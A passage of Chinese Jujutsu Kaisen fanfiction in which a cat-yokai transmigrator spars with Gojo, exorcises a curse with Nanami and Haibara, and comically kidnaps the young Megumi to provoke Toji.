插班到二年级?和五条悟他们一个班? “不要。”她一口拒绝,“我不想跳级。” 夜蛾正道把属于她的资料摊开,放在桌上,娓娓说道:“这是野原老师给我的关于你的详细数据,不管是体能、速度还是力量,总之各个方面你都远胜于你的同期,就连理论课也都是满分。继续留在一年级只是浪费时间,你有跳级的能力。” 普通学生被夜蛾正道这么一捧,早就高高兴兴地接受了这番推心置腹的安排。 但今野桃不。 “谢谢夜蛾老师喵。”她仍旧摇头,“我不想跳级。” 夜蛾正道皱紧了眉,严肃问道:“为什么?” 总不会是因为七海建人吧…… “因为我不想离开娜娜喵。” 给出的回答令他哽住。 “你这也不算离开了他,你们不还是在一个学校里吗?”夜蛾正道苦口婆心地劝说。 今野桃眨了眨眼睛,忽然说道:“夜蛾老师其实是希望我和二年级的一起训练吧喵?上不上课都无所谓。” 夜蛾正道顿住,随后说道:“确实,但二年级和一年级的课程安排不一样,一年级的理论课更多,如果安排你单独去上二年级的实操课,那你和一年级的课就会错开,不如直接加入二年级。” 今野桃挠了挠脸颊,说道:“其实二年级对我来说也一样的呢喵。” “……啊?”夜蛾正道有点怀疑自己的耳朵,“你说什么?” “我说,”今野桃指了指自己,“对我而言,不管是娜娜米和灰原雄也好,五条悟和夏油杰也罢,结果都是一样的喵。” 夜蛾正道眯着眼,似是在打量她。 今野桃露出了一个自信且嚣张的笑:“不如我们试试看,喵?”。 “什么?和新生打,还能跳级?”五条悟难以置信地说道,“夜蛾老师是不是偏心!为什么我们以前没有这个活动!” “是啊,我们也要申请!”夏油杰严正抗议。 “……你们认真的?”夜蛾正道无语地推了推眼镜,“你们是想打击前辈们吗?” 那样的话岂不是入学即毕业? 五条悟嘻嘻哈哈地笑道:“都是因为他们都太弱啦!” 跟他有什么关系。 “你说得没错。”夜蛾正道点点头承认他说得有道理,“希望等下你也是这么觉得的。” 夏油杰警惕地闭上了嘴。 二年级的对手闪亮登场,是刚刚入学不到一个月的今野桃。 她比他们矮了一个头,身形更是纤瘦。 “好吧,虽然不知道你有什么地方很强,但既然夜蛾老师都这样说了,你一定有可取之处吧。”五条悟叉着腰,朝她勾了勾手指,“来吧。” 话音刚落,一道黑色的影子闪了过去,原地已经失去了女生的踪影。 好快! 只是一个呼吸的时间,她就出现在了他的身后。 黑虎掏心! 蓝色的光芒从五条悟的眼睛里绽放,看不见的屏障伸展开来,险之又险地挡住了这一击。 察觉到手中的阻力,今野桃放弃了这次进攻,连续几个后跳拉开了距离。 一滴汗水从五条悟的额头上流下,他干笑了两声:“还、还挺厉害的。” 不过,他也绝非泛泛之辈! 卖了个破绽出来,引得她跳到半空失去行动力的时候,五条悟抓住了机会,抬手就是一发:“术式顺转苍!” 今野桃面色不变,完全违背了人体构 造地在空中扭动身躯,灵巧地避开。 五条悟没忍住揉了揉眼睛。 是他看错了吗?刚刚她的上半身和下本身是不是反向旋转了一百八十度? 他没看错,因为夏油杰也看见了。 “柔术吗?不对吧,柔术也做不到这一点吧……”夏油杰看得一愣一愣的。 几分钟后,两人隔着十几米的距离站定。 五条悟的脖子上已经湿漉漉一片,而今野桃仍旧云淡风轻的模样。 “热身时间结束咯喵。”她对他露出了一个笑,四颗尖牙闪烁着锋利的光,“我要动真格的了喵。” 动真格?开玩笑,她能破得了他的防御吗? ……能。 被打飞出去的时候,五条悟的表情还是懵的。他好像被泥头车撞了,巨大的力量裹挟着浓郁的咒力直接击碎了他的“无下限”,这种纯粹的数值碾压让他迷茫。 还没升级的五条悟现在最高属性也才19点,遇到满值的玩家,除了束手就擒没有别的选择。 愿天堂没有挂逼。 “呐,夜蛾老师喵,我没说错吧,对我来说,就是没有区别呀。”今野桃笑吟吟地说道。 夜蛾正道沉吟几秒,目光落在没有上场的夏油杰身上。夏油杰打了个激灵,一把将五条悟抱了起来。 “坚持住啊!悟!我现在就带你去找硝子!”他扛着五条悟跑得比兔子还快。 夜蛾正道:“……” 算了。 “好吧,既然这样,那你就继续留在一年级。”夜蛾正道没有强行要求,但他还是忍不住说道,“不要把自己的人生全部寄托在别人身上,小桃,不仅要让自己的实力变强,心也要变得独立,这样才能好好生活。” 今野桃哑然,她没有反驳老师的好意,只是笑了笑回答:“好的呀,我记住了喵。” 不过,她是不可能离开七海建人的啦,那可是十万美金!是她之前备受痛苦折磨后最后一个还没到手的HE!。 夏油杰当然没带五条悟去找家入硝子。就算找到了,见面该怎么说?说五条悟被新生打了一顿身受重伤?她绝对会哈哈大笑并且拍照留念的! 他带着好友朝寝室走去。 “你还好吧,悟?”他搀扶着他,观察他的状态。 五条悟痛得龇牙咧嘴,但还是回道:“放心吧,没事,都是皮外伤。” 她应该是在最后收了力,打破他的无下限后没有继续追击,不然以那个力道,现在夏油杰应该参加他的葬礼。 “哼,夜蛾老师果然一肚子坏水。”他小声地嘀嘀咕咕,“新生赢了可以打击我,我赢了可以让新生如他的愿跳级。怎么看他怎么都是赚了!” “没错!都是夜蛾老师的阴谋!”夏油杰随声附和。 走了快一半的路程,前面忽然出现了一个鬼鬼祟祟的人影。 他的脊背微微弯曲,时不时东张西望,脚步也比平时要快,一看就在做什么见不得人的事情。 “嗯哼,妻债夫偿,没毛病吧?”五条悟龇牙咧嘴,慢慢靠近了那人。 啪! 他一下拍在了对方的肩膀上:“喂,娜娜米,在干什么呢?” 七海建人相当明显地抖了一下,有什么东西掉在了地上。 袋子的口散开,最面上,是一件女式内衣。 五条悟:“……” 眼睛!他的眼睛要被污染了!! 七海建人飞快地捡起来,支支吾吾地对两个学长点了点头,拔腿就朝宿舍跑去。 “……他不会是要帮她洗衣服吧?”夏油杰喃喃道。 五条悟掏出了手机。 现在!立刻!他要在男生宿舍立一块牌子! 上面就写: 情侣和狗不得入内! 哦不对,狗可以,情侣不行!! 第82章 七海建人没想到自己会遇到其他人。 明明已经特意避开了上下课的高峰期,也打听清楚了学长们都在锻炼,怎么回去的路上还是遇到了他们两人呢? 而且貌似对他不太友善的模样。 按照小桃给他的路线图,从窗户外面精准翻入她的房间,把她换下来的衣服打包好,顺便还把乱七八糟的屋子打扫了一遍后的七海建人抱着袋子冲进了自己的宿舍。 他心有戚戚地回头,发现两个学长没有跟上来。 他松了一口气的同时,又绝望地想:也没必要问,他们应该能猜到他要做什么吧。 不就是洗衣服吗?经常给猫咪铲屎的人应该都能理解的吧…… 反复在心里说服自己,七海建人咬着后槽牙回到了教室。 距离下节课上课还有十二分钟,灰原雄和小桃已经坐在位置上了。 七海建人没忍住,还是用幽怨的目光看了她一眼。 小桃:“?” 她在抽屉里掏了掏,掏出一根棒棒糖。 “喏,给你喵。”她非常大方地说道,“别难过,你比不上我是很正常的喵。” 七海建人张了张嘴,想说什么又说不出口,最后怏怏地拒绝道:“谢谢,我不吃。” “那我可以吃吗?”灰原雄积极争取道,“好像很好吃的样子。” “不用抢,都有喵。”今野桃一人塞了一根棒棒糖。 灰原雄喜滋滋地吃糖去了。七海建人盛情难却,把糖剥开了。 硬糖在他的脸颊上鼓起了一块,有几分可爱的样子。 今野桃的手痒痒的,有点想戳。可惜七海建人似乎察觉到了什么,警惕起来了。 就在她跃跃欲试的时候,野原老师推门而入。他看见仍旧坐在位置上的今野桃,有点无奈,有点惋惜,又有点高兴。 “入学一个多月了,大家的理论知识都学得不错,也是时候出去感受一下真正的祓除咒灵是什么样子。”他清了清嗓子,在两个男生激动又克制的目光中,拿出了一份资料。 “哇哦,终于可以像学长一样做任务吗?”灰原雄小小地欢呼一声,“我已经迫不及待了!” 七海建人矜持地颔首。同为野生咒术师,他没有像灰原雄一样完全零经验,在猫猫神的引导下,还是祓除过几次的。 但跟同学一起的感觉不一样。 “这次的任务不难,在‘窗’的观测下,这只咒灵大概属于二级到三级之间,有危害性,但应对得当的话,并不会受到严重的伤害。” 资料到手,三人挤在一起翻看着。 “金毘罗船船游戏?”他们的脸上都浮现出了迷茫,“那是什么游戏?” 一栋久无人居住的屋子里,几个流浪汉潜入进去,随后连滚带爬地跑了出来,声称自己见到鬼了。鬼要求他们跟它玩“金毘罗船船”,输了的人就要被扇巴掌。 “所谓‘金毘罗船船’是源自歌舞伎的一个传统游戏,伎子和客人面对面坐好后,中间摆一张桌子,桌子上放一个巴掌大的玩具。当音乐响起,伎子和客人跟着节奏轮流出手,可以选择拍一拍玩具,也可以把玩具拿起来。如果玩具被拿走,则下一个人就必须用拳头拍桌。如果玩具没有拿走,则拍玩具的时候要用掌心。” 野原老师用几句话就解释清楚了资料上的一大段。 “哦,我懂了。”灰原雄说道,“就是考验速度和反应力吧?” “简单来说是这样的。”野原老师点点头。他的实现扫过今野桃,说道,“你们三人一起去,不过小桃排在最后一个。” 不然她第一个的话,大家都别做任务了。 “了解喵!”今野桃没有异议。 收拾好东西,三人坐上了辅助监督的车。七海建人坐在中间,左边是今野桃,右边是灰原雄。 “等下我跟娜娜米谁先?”灰原雄握紧了拳头,双眼放光地问道。 “你想要第一个吗?我都可以。”七海建人开口道。 “行,那我就第一个,等下娜娜米可以吸取我的教训!”灰原雄想了想,又笑道,“也有可能我第一次就成功了呢?” 这个咒灵 难就难在,如果不跟它玩游戏,它就相当于不存在,算是概念性的咒灵。只有胜利的一瞬间,能抓住它实体化。硬打当然可以,但能节省精力还是节省吧。 车子停在了废弃屋子的前面,辅助监督是三级咒术师,他回头对三人说道:“我会下好‘帐’,然后把车子停在前面,如果有什么意外,记得来找我。” 辅助监督对今野桃的实力不了解,以为他们都是三级咒术师的水平。三个三级打一个二级,应该没有问题。咒术师普遍都可以越一级打怪。 “好的,辛苦你了。” 鼓起勇气,两个男生走进了屋子。今野桃漫步跟在后面,神色悠闲。 本来也确实悠闲,区区一个二级咒灵,她完全没放在眼里。 灰原雄走在第一个,他看见空荡荡的客厅里,一只环绕着黑色雾气的手竖在那里。 幸亏现在是白天,晚上的话,当真会被狠狠吓一跳。 “难怪是二级咒灵,原来只有一只手。” 如果拥有全身,那估计就是特级了。 “上吧,灰原,相信你!”两个同窗都在给他打气,灰原雄深吸了一口气,走了过去。 那只手用力在桌上敲了两下,示意游戏马上开始,让灰原雄坐在对面。 灰原雄忍不住咽了口口水,坐在了破破烂烂的垫子上。 耳边不知道从什么地方传来一股音乐,起初节奏很慢,大概两秒一拍,灰原雄只是手忙脚乱了几次就跟上了拍子。 然而一小段旋律后,速度陡然提高,开始从零点五秒一拍变快。 围观的两人只能看见几乎带出残影的两只手,以及不间断的“啪啪”拍桌声。 突然,音乐一个变调,灰原雄的手在空中停了一下,掌心落下时,咒灵已经将脏兮兮的人偶拿了起来。 他没有反应过来。 下一秒,一个巴掌就打到了灰原雄的脸上。 “好痛!”灰原雄惊呼一声,下意识地捂住了脸。 雾气翻滚,他们好像从上面看见了一个笑脸。 “呜……被咒灵嘲笑了……”灰原雄流下两行宽面条泪,扑通一声跪倒在地。 七海建人表情严肃地坐在了灰原雄的位置上,他定了定神,开始和这个咒灵玩起游戏来。 他的整体素质比灰原雄要好,但架不住咒灵会耍赖。连续几次变调,终于被咒灵找到了机会。 风声呼啸,眼看巴掌就要扇到七海建人的脸上。他的眼皮猛地一颤,瞳孔缩成针尖大小,连呼吸都停住了。 啪。 那只手被抓住了。 “其实根本就不可能赢吧喵。”今野桃嗤笑一声,“规则是你定,裁判也是你,别人怎么赢得了喵。” 话音落下,她狠狠地攥紧了手掌。 “真正能祓除这个咒灵的时机,其实就是输的那一秒钟。” 伴随着噗呲一声,这个咒灵被她捏爆了。 “替你报仇了哟喵。”她轻松地对灰原雄说道。 灰原雄捂着脸感动地看向她,眼泪汪汪的。 七海建人回过神,才发现自己的后背不知道什么时候已经被汗水浸湿。 “……谢谢你,小桃。”他抹掉额头上细密的汗珠。 “不客气呀喵。”今野桃把下巴一抬,“你可是我罩着的人类!” 七海建人低头咳了两声。他总是板着的面容突然绷不住了,目光像是被烫到了似的迅速移开,耳根处悄然漫上一层浅浅的绯色。 这句话怎么感觉怪怪的。 一个念头从灰原雄的脑海中闪过,又很快被他忘光了。 “那我们回去吧!第一次祓除任务圆满成功!好耶!” 今野桃看向七海建人,弯了弯眼睛问道:“圆满成功吗喵?” 男生指节分明的手下意识地松开又收紧,最终僵硬地抵在膝盖上。 “……成功。” 第83章 任务做完,大家又坐辅助监督的车回去。 这位辅助监督的身上班味很重,路上都不爱说话的。当车子慢慢开到市区,今野桃开口了。 “停一下喵,我要去逛街。”她理直气壮地说道,“反正时间还有多,不急着回去喵。” 七海建人和灰原雄对视一眼,都有点犹豫。 可以这样做吗? 然而辅助监督已经习以为常了,他看了一眼后视镜,说道:“那你们记得把任务报告写清楚。” “嗯嗯,好的喵。”都是打工人,没必要为难他。今野桃让他把车停在了商城,扭头对七海建人说道,“你跟我一起。灰原要来吗喵?” 两个同窗都走了,总不能自己一个人回去吧。灰原雄点点头:“正好我也去买点东西。” 高专建在山上,出来一趟也挺麻烦的。 “娜娜米,我要吃零食喵。”今野桃兴致勃勃地说道,“冰箱里的零食已经吃完啦!” 就知道是为了这个。 七海建人轻车熟路地带她在超市里找到各种肉脯,一口气买了一大堆,反正这种腌制过又精加工的肉脯可以存放很久。不过以她吃的速度来看,可能下一次囤货的时间不会很远了。 肉脯的价格昂贵,但七海建人掏钱的动作干脆利落。 灰原雄见了,心中不禁咋舌。 看样子,养一个女朋友的开支还挺大,他如果想找对象,还得多存存钱。 除了肉干,大家还一起买了饼干果冻等等东西,打算放在寝室慢慢吃。 心满意足地买到了想要的东西,今野桃两只手背在脑后,朝着更衣室那边眨了眨眼睛。 七海建人心中叹气,将几个袋子放在灰原雄的旁边说道:“我带小桃去买件衣服,马上回来。” “咦,不一起去……” “不用,马上就回来。”七海建人坚定地说道。 灰原雄挠了挠脸颊,不好意思地说道:“好的,我在这里等你们。” 几分钟后,七海建人回来了。但只有他一个人回来,女生不见了踪影。 “小桃有点急事,让我们先走。”七海建人平静无波地说道,“我们不用等她,先回学校吧。” “好、好的。”灰原雄张望了一下,确实没看见女生,就和七海建人平分了袋子,打算拎回学校。 等等…… “娜娜米,你这里是不是有什么东西?”他迟疑地往同窗身边靠了靠。 总不至于同窗突然胸肌暴增十倍吧?! 高专的校服是纯黑的,领口宽大,版型挺括,只用纽扣就能固定,设计别致。灰原雄探头一看,透过七海建人的领口能看见他的怀里躺着一只黑色的猫咪,它如一团融化的巧克力,漆黑油亮的毛发泛着绸缎般的光泽,一双黑色的眼睛又大又圆,像是水晶一样。 它抬头,和灰原雄对视着,随后伸了个懒腰。那双爪子如梅花绽放,露出粉嫩的肉垫。 灰原雄瞬间瞪大了眼睛。 “好、好漂亮的猫!” 仿佛听懂了他的话,猫咪的尾巴轻轻甩了甩,毛绒绒的尖端勾了起来。 “这是在哪里捡到的吗?”灰原雄有点想摸,但光天化日之下,把手伸进同窗的衣服里面去,是不是不太好? 他的注意力全在猫咪身上,没有发现同窗的那点不自在。 “不是捡的,是我……养的。”七海建人托着猫咪,见灰原雄看个不停,连声催促道,“走吧。” “是你养的啊,真可爱。”灰原雄依依不舍地收回视线,“你要把它带到学校里去 吗?” “学校也没规定不能养猫吧?”七海建人觉得自己真的堕落了。换做以前,学校没有明确说可以做的事情,他是绝对不会做的。 “那倒是。”灰原雄点点头,“好耶,我们也要有小猫了!” 他在旁边蹦蹦跳跳:“要给小猫买点猫粮吗?猫砂盆需要吗?还有……” “都不用,它自己会解决的。”七海建人耐着性子说道,压下心中微妙的不爽,“它……它很聪明,不是普通的猫。” “噢噢。”灰原雄似懂非懂地回答,“难怪它这么好看。” 同窗看不见,但七海建人看见猫咪被夸得胡须微微颤动,嘴角都矜持地上扬了。 他把自己的衣领整理了一下,让它竖得更直了。 又是走过漫长的山路,七海建人对灰原雄说道:“我把这袋零食拿去女生宿舍。” “好呀,我在这里等你。” 七海建人刚刚走出一段距离,就听见怀里的猫咪开口说话了。 “我要洗澡喵。跑来跑去,都脏兮兮的了。” 他的身体一僵,干巴巴地说道:“那就回寝室去洗。” “不行喵,寝室里没有换洗衣服。”猫咪张开嘴,打了个哈欠,懒洋洋地说道。 没有换洗衣服?七海建人刚要反驳,忽地想起来,自己好像把她的衣服全都带走拿去洗了。 不过没关系,现在回去,应该已经洗好烘干了。 “……你刚刚怎么不在商场里买新的?”他低声问道。 “忘记了喵~” 不,她肯定是故意的。 揣着一团暖融融的火焰,七海建人折返回来。 “你没把零食送过去?”灰原雄问道。 “……嗯,先放我这里,等她回来了再给她。” 两人慢慢朝着宿舍走去,远远地,学长们倚在窗户口看见了他们。 “来了来了。” 他们一下从楼上跳了下来,稳稳落地。 七海建人和灰原雄停了下来,不是因为学长们的倾情表演,而是因为看见了门口的牌子。 “禁、止、情、侣、入、内?”灰原雄一个字一个字地念出来,他呆呆地说道,“是学校的新规定吗?” “NO、NO、NO!”五条悟竖起一根指头摇了摇,“是我设定的新规定!” 他绝对不要再吃狗粮了! 七海建人仔仔细细地看了一遍牌子,随后收回视线,镇定自若地想要继续往里面走。 嗯? “咳咳!”不良学长大声咳嗽了两下,“情侣想要进宿舍也不是不行,但是要真心实意地发誓,以后再也不到处乱秀恩爱了!” 七海建人怔住,他低头,怀里的猫咪状若无意地用尾巴尖尖扫了扫他的下巴。 一股痒意顺着毛孔渗入,像是一片羽毛轻飘飘地落在他的心上。 他抬眼,对学长一本正经地说道:“五条学长误会了,我没有对象。” 诶?!五条悟挑眉。这是骗鬼呢,就那个状态,说不是对象谁信啊! “我和小桃……不是大家想的那种关系。”他的声音虽然轻,语气却很坚定。 “难道是暧昧对象?”夏油杰一脸沉思。 “也不是。”七海建人捏住猫咪的尾巴,塞进了领口中,“我……一直被小桃照顾,也非常感激她。” “哈?照顾?难道不是你一直在照顾她吗?”甚至连衣服都洗上了。五条悟掏了掏耳朵,“算了,跟你说不清。” “本来就是嘛。”夏油杰摇摇头,“坠入爱河的人,都是眼盲心瞎的啦。” 所以才会有那么多爱生爱死的故事。 七海建人觉得自己说什么都没有用,两位学长已经沉浸在自己的剧本当中。 “没什么事的话,我先上楼了。”他压低了声音说道。 木质地板踩在上面,发出咯吱咯吱的动静。关上了宿舍的门,他解开外套,将猫咪放在了床上。 “我去给你拿衣服。”七海建人的表情没有多少变化,但熟悉他的人却可以从细微之处发现端倪。 “娜娜米不喜欢我嘛?”猫咪的前爪踩在尾巴上,端庄地坐在他叠得整整齐齐的被子上,“所以把我们的关系撇得那么清喵。” 七海建人垂下的睫毛轻轻颤动,半遮住了他的眼睛。 “没有。我……我确实很喜欢小桃。” 【七海建人好感值:80】 “但是……”但是人类和妖怪,是没有办法在一起的。 对长生种来说,百年不过弹指。但对于寿命只有百年的人而言,那就是一生的光阴。 小桃现在看起来比他要大,兴许几年、十几年后,他就会变得比她要成熟,三十年后,她容貌依旧,他却会生出皱纹。 五十年后呢?他垂垂老矣,她还是青春年少。 这怎么会相配呢? 最好的办法,就是不要动那种心思。 “你误会了。”七海建人面色淡然地说道,“我只是把你当成长辈。” 今野桃:“……” 他说什么?长辈?!她看起来很老吗?真是不要太离谱了!! 十五岁的少年像雨后新抽出来的翠竹,挺拔清瘦的轮廓还带着青涩的棱角,却已经尝到了死亡的苦涩。 他摩挲了一下袖口,转过身,自顾自地朝着外面走去。 “我去洗衣房拿衣服过来,你到房间里等我一下。” 然而,七海建人的指尖还没碰到门把手,一股巨大的力从身后袭来。他踉跄了两步,被人从后面压在了门板上。 潮湿的呼吸吞吐在他的后颈,激得他难以自禁地抖了抖。他被迫侧着头,鼻尖挨着她白皙的手腕。她的手撑在他的脸颊边上,压住了他的一缕发丝。 余光瞥见她一片雪白的胸口和锁骨,七海建人连忙集中注意地看着眼前的事物,不敢分散一丝精神。 她的皮肤好细腻,指甲盖都透着一股粉色。他的心跳得飞快,耳膜都在为此鼓噪。她的身体温度怎么这么高,连带着他好像也变得滚烫起来。 “娜娜米。”她的嘴唇擦着他的耳廓,他听见她幽幽叹息,“你在生气,为什么?” 她没有问他有没有生气,而是问他为什么生气。 第84章 尖利的牙齿啃咬着耳骨,细密的疼痛伴随着几乎要刻入骨髓的酥痒。 被用力推开后,房门打开又猛地关上,逃走的少年踉踉跄跄,连路都走不稳。 第二天上课,灰原雄发现了不对劲的地方。 他瞅瞅左边,又瞄瞄右边。 左边靠窗的小桃正趴在桌上睡觉,老师就跟瞎了一样看不见。右边的七海建人正在努力做笔记,时不时停下来思考。 这一切看似与以往没有区别,但细心的他就是觉得哪里不对劲。 他趁着老师转身写板书的时候,撕下一张草稿纸,飞快地写了几个字,然后把纸团成球扔给了右边的男生。 七海建人看见桌上滚过来的纸团,第一反应竟然不是望向灰原雄,而是把视线落在了小桃的身上。 好像他终于找到一个合适的理由朝她那边看过去。 但今野桃什么反应都没有。他垂下眼,打开了纸团。 ‘你们吵架了吗?’ 灰原雄这么问道。 七海建人的笔在空中悬了许久,还是落下了。抓住老师转身的那一刻,他把纸团扔了回去。 灰原雄悄悄打开。 ‘没有。’ 七海建人的回答简短,却让灰原雄放下了心。 娜娜米是很靠谱的人,既然他这样说,那就真的是没有吵架吧。 ‘你为什么不高兴?’他又写了这样一句话。 七海建人抬头看了一眼老师,在纸上写道: ‘没有不高兴,只是有些问题想不明白。’ 原来如此。 灰原雄理解了,原来娜娜米也有想不明白的事情。 就在他想把纸团收进抽屉里时,一只手伸了过来。今野桃以迅雷不及掩耳之势,把纸团夺走了。 讲台上背对着三个学生的老师:…… 还能咋地,装傻呗。 今野桃拆开了纸团,扬起眉毛,提笔就是龙飞凤舞的一行字,就写在灰原雄的第一个问题下面。 ——你们吵架了吗? ——没有。 ——他叛逆期来了。 灰原雄瞪大了眼睛看着这张纸,又看看七海建人。 七海建人:她一定是写了他的坏话。 笔被紧紧握住,七海建人低下头装作不知道。 铃声响起,他第一个要冲出教室。这是很不寻常的,过去他必定会等小桃一 起走。 不过七海建人还是离开失败了,因为野原班主任走了进来。 “有个任务需要你们去做。”他表情严肃地说道,“是一个非常重要的任务。” 两个男生都坐直了身体,暗含期待地看着老师。 “你们知道‘星浆体’吗?” 他们摇摇头,今野桃知道,但她懒得解释,还是让老师去解释吧。 等他们大致了解了背景后,野原老师将笔记本电脑打开,把屏幕调转过来对他们说道:“保护‘星浆体’的任务已经被二年级的学长们接下了,应该是万无一失。而你们要负责接应他们,确保‘星浆体’顺利地进入学校。” “噢噢我懂,我们就是跟学长交班的对吧?”灰原雄很积极地问道。 野原老师短促地笑了笑,似乎在笑他们不自量力。 “不,不是交班。”他点了点鼠标,电脑屏幕的界面跳转,“盘星教花大价钱悬赏‘星浆体’,必然会引起很多诅咒师到来,二年级的学长虽然实力强大,但人都会累,尤其是敌人众多,时间拉长后,万一出了什么纰漏,就需要你们顶上去。” 野原老师点了点屏幕,意味深长地说道:“如果二年级的学长能解决那些诅咒师,自然就用不上你们。但如果有伏击,你们可就危险了。” 凝重的气氛蔓延开来,两个男生的神色也严肃多了。 “我们会努力的。” 野原看了一眼没说话的今野桃,点点头说道:“那你们好好准备一下,明天就出发去机场。” 明天……好快啊。 老师离开后,灰原雄双手撑着下巴发呆,他喃喃自语道:“诅咒师……不知道诅咒师是什么样子的。” “其实跟咒术师一样喵。”今野桃两只手交叉放在脑后,漫不经心地说道,“诅咒师就是失业的咒术师啦。” 诶?这样的吗? “不过因为失业嘛,所以那些人都很变态的,而且大部分都有杀人的事迹,说一句‘穷凶极恶’也不为过哦喵。” 灰原雄往后仰倒,眼中闪过一丝害怕。 “这、这样啊……” “放心啦,连这些诅咒师都搞不定,你们学长明年也别想评特级了喵。”今野桃可不认为五条悟和夏油杰会被普通诅咒师杀掉。 至于真正具有威胁性的那个,她也想好了怎么处理。 在脑海中顺了一遍自己的计划,确认没有漏洞,今野桃神态轻松地靠坐在椅子上。 当夜幕降临,一只黑猫借着夜色的遮掩,跑下了山。她直接飞到了目的地,又快又方便。 被黑暗笼罩着的小屋子里,两个孩子正睡得香甜。今野桃从房间掳走了男孩,把人带到了一个旅馆。 伏黑惠惊恐地看着她,今野桃翘着脚,把手机的录像打开,说道:“来,跟你爸爸说两句话。” 他的嘴唇抖动,好半天说不出一个字。 她是谁?是爸爸的敌人吗?所以才把他绑架到这里来。那津美纪呢?津美纪没事吗? “快点啦,不然把你宰了哦。”今野桃对他笑道。 无助的小男孩吸了吸鼻子,哪怕再不愿意,也被迫结结巴巴地说道:“爸、爸爸……救救我……” 他的眼圈红红的,眼泪要掉不掉,比嚎啕大哭看起来可怜多了。 嗯哼,她现在倒要看看,禅院甚尔那家伙会怎么选。 回忆了一下那串号码,今野桃拨了过去。 伴随着几声“嘟嘟”,对面接通了。 “喂?哪位?”男人懒洋洋地开口道。 今野桃改变了自己的音色,用沙哑苍老的女声说道:“禅院甚尔,你的儿子在我手上,今晚我要一个亿的赎金,如果凌晨一点钟我没拿到,你儿子就会被我杀掉。” 听筒那边静了静,随后电话被挂掉。 今野桃不以为意,将视频发了过去。 男孩不敢说话,明知道父亲对他并不在意,又希望有人能来救救他。 几分钟后,禅院甚尔拨了回来。他大概是去确认了一番,平静的语气中带着杀意。 “喂,不管你是谁,现在把他放了,否则我追杀你到天涯海角。” 每一个字像是从牙缝里挤出来的,冷厉又森寒。 可惜今野桃不怕。 “你还有四个小时筹钱,钱筹到后打电话给我。”今野桃笑吟吟地说道,“区区一个亿而已,对天与暴君来说,不算什么吧?你随便买一把咒具可都是几个亿起步呢。” 她好像听见了后槽牙摩擦的声音。 无所谓,玩家心硬如铁。 把从路边喝醉酒的倒霉蛋那里摸走的手机随便塞到角落,今野桃拎起小孩,脚步轻快地朝着高专飞去。 她就不信,禅院甚尔会坚持做这个任务而放弃儿子。当初她就是浅浅调查一下这个孩子,他的好感值可就掉得飞快呢。 用咒力包裹住伏黑惠好避开高专的结界,今野桃原本打算直接飞回宿舍,却在宿舍的楼下看见了一个熟悉的人影。 她愣了愣,一时间犹豫要不要过去。 就在她注视着那人的同时,他也抬头了。 “小桃。” 隔着远远的距离,她听不见他的声音,只能看见他的口型。夜风吹起他的金发,路灯把他的影子拉得很长。 今野桃摸了摸鼻子,从空中落下。 “当当!”在被责怪之前,她先发制人地把伏黑惠举了起来,“看,娜娜喵!这是我给你打来的猎物!” 七海建人:…… 第85章 七海建人深深地吸了一口气,让自己冷静下来。 “哪来的小孩?”他沉声问道。 “是捡来的喵。”今野桃对他眨了眨眼睛,“好吧,其实是抢来的。” “哪里抢来的?他的父母呢?”七海建人不认为小桃会做出夺走他人孩子的事情,这其中一定有什么内情。 “他妈妈去世了喵,爸爸不要他,是个赌鬼。”今野桃耸了耸肩膀说道,“所以这告诉我们,身边没有监护人的小孩,很容易被抢走的喵。” 七海建人低头,只觉得脑子一阵一阵地在痛。 “这孩子有什么特殊的地方吗?”他拍了拍她的手背,示意她把小孩放下。 “这都被你发现啦喵!”今野桃对他竖起了大拇指,“没错呢,这孩子确实有特殊的地方,他是个咒术师哦喵!” 咒术师?七海建人有些惊讶。 “他现在应该还在读小学吧?距离上高专还有很长一段距离呢。”七海建人试探性地想要摸摸这个孩子的脑袋,却被他躲开了。 他很警惕地看着他们两个,如果不是知道跑不掉,他早就想办法逃走了。 七海建人有一种自己又要多养一只猫的感觉了。 “如果不能把他放回去的话,就只能把他带回寝室了。”七海建人这才注意到小孩穿的还是睡衣,只穿了一双袜子,没穿鞋。“我们要收留他几天?如果时间长的话,还要给他添置衣物。” 七海建人觉得自己说得足够贴心了,很有一种小桃抛尸他挖坑的意思。 但她却变得不高兴起来,两片嘴唇抿得紧紧地,嘴角向下几乎要撇到下巴上去了。 “……怎么了?”七海建人迟疑道。 “我说,娜娜米这么想养小孩吗喵?”她抱着手臂,脸颊微微鼓起来,“这么积极地要把他带回去。” 七海建人的眼中闪过一丝茫然,眉间蹙起细微的纹路,像是平静的湖面吹起了涟漪。 事实也正是如此。她是捉摸不定的风,哪怕只是轻轻拂过,也注定要搅乱他原本无波的心。 “这孩子……不是你带回来的吗?”他的声音有些沙哑,透着不自觉的委屈。 “是啊,带回来做储备粮的喵。”今野桃哼了一声说道。 伏黑惠终于忍不住了,他又冷又累又害怕,还要站在这里听他们安排他,他毕竟也才五岁而已。 男孩吸了吸鼻子,嚎啕大哭起来。 七海建人和今野桃肉眼可见地慌张了 。 “嘘……”她一把捂住了伏黑惠的嘴,“行了行了,别哭了,再哭把你的嘴巴缝上喵。” 伏黑惠不断地抽噎着,哭声断断续续。今野桃看向七海建人,对方叹了口气,从口袋里掏出了几颗糖。 伏黑惠哽咽着吃糖,也算是安静下来了。 “快走快走喵。”今野桃一只手夹着伏黑惠,一只手拉着七海建人。 “去哪里?”七海建人被她拉着朝男生宿舍走。 “把这小孩给五条悟。”今野桃早就想好了,五条悟不是需要禅院甚尔同他死战才能升级吗?现在刺杀“星浆体”的任务肯定是要失败的,但如果五条悟绑了他的小孩,禅院甚尔绝对会过来给他点厉害尝尝。 他自己不是说吗,“会追杀你到天涯海角”,五条悟一定会很高兴的吧! 打开宿舍的灯,五条悟和夏油杰因为出任务去了不在宿舍,她发了个视频聊天过去。 2003年的时候,Skype软件就有了视频通话的功能,并且逐步推广到了全世界。 没多久,屏幕亮起来了。 五条悟沉默几秒,开口道:“你们是想告诉我们,你们有小孩了?” 七海建人的眼角抽了抽,刚想说话,却被今野桃抢先了。 “不是啦喵。”她拍了拍伏黑惠的头,把手机举高,让男孩全部入镜,兴高采烈地说道,“我是来问你们,要不要小孩的喵!” 神经,半夜在男生宿舍门口推销小孩。五条悟翻了个白眼:“不要。” “真不要?”她又问。 “不要不要。”五条悟不耐烦地说道,“五条家又不是没有小孩……” “是‘十种影法术’哦喵。”今野桃笑吟吟地补充。 “……但那又说回来。”屏幕里的五条悟差点咬到嘴巴,他吐了吐舌头,“五条家确实没有‘十种影法术’哈。” 那肯定的啊,“十种影法术”是人家禅院的家族秘术。 